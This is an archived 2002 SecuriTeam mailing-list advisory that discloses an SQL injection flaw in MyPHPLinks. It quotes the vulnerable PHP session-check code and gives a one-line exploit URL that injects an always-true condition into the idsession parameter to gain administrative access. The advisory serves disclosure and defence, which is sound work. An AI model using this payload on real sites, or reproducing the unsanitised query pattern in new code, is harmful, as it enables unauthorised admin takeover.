[UNIX] MyPHPLinks Vulnerable to SQL Injection
From: support@securiteam.com
Date: 12/15/02
- Previous message: support@securiteam.com: "[NT] Eserv Remote Denial of Service (5mb HELO)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 15 Dec 2002 23:21:39 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
MyPHPLinks Vulnerable to SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://www.myphpsoft.net/projets/myphplinks/> MyPHPLinks is a PHP engine
that creates a web site enviroment very similar to Yahoo's. A security
vulnerability in the product allows remote attackers to gain
administrative privileges through an SQL inection attack.
DETAILS
Vulnerable systems:
* MyPHPLinks version 2.1.9
* MyPHPLinks version 2.2.0CVS
Vulnerable code:
admin/auth/checksession.php
---------------------------------------------------------------
[...]
if($idsession!=''){
$dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser,
$MyPHPLinksPass);
if(!$dbs->connect())
die($dbs->error);
if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where
session='".$idsession."' and timesession > now()"))
die($dbs->error);
while($dbs->nextrecord()){
$loginauth = $dbs->valeur("nb");
}
if ($loginauth==0){
header("Location:$MyPHPLinksAuthPErrDef");exit;
}else{
if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set
timesession=now()+".$MyPHPLinksTLSession." where
session='".$idsession."'"))
die($dbs->error);
}
}else{
header("Location:$MyPHPLinksAuthPErrDef");exit;
}
?>
---------------------------------------------------------------
Exploit:
http://[target]/admin/index.php?idsession='%20OR%20''='
ADDITIONAL INFORMATION
The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
Man.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[NT] VisNetic WebSite XSS vulnerability through HTTP Referer header"
- Previous message: support@securiteam.com: "[NT] Eserv Remote Denial of Service (5mb HELO)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|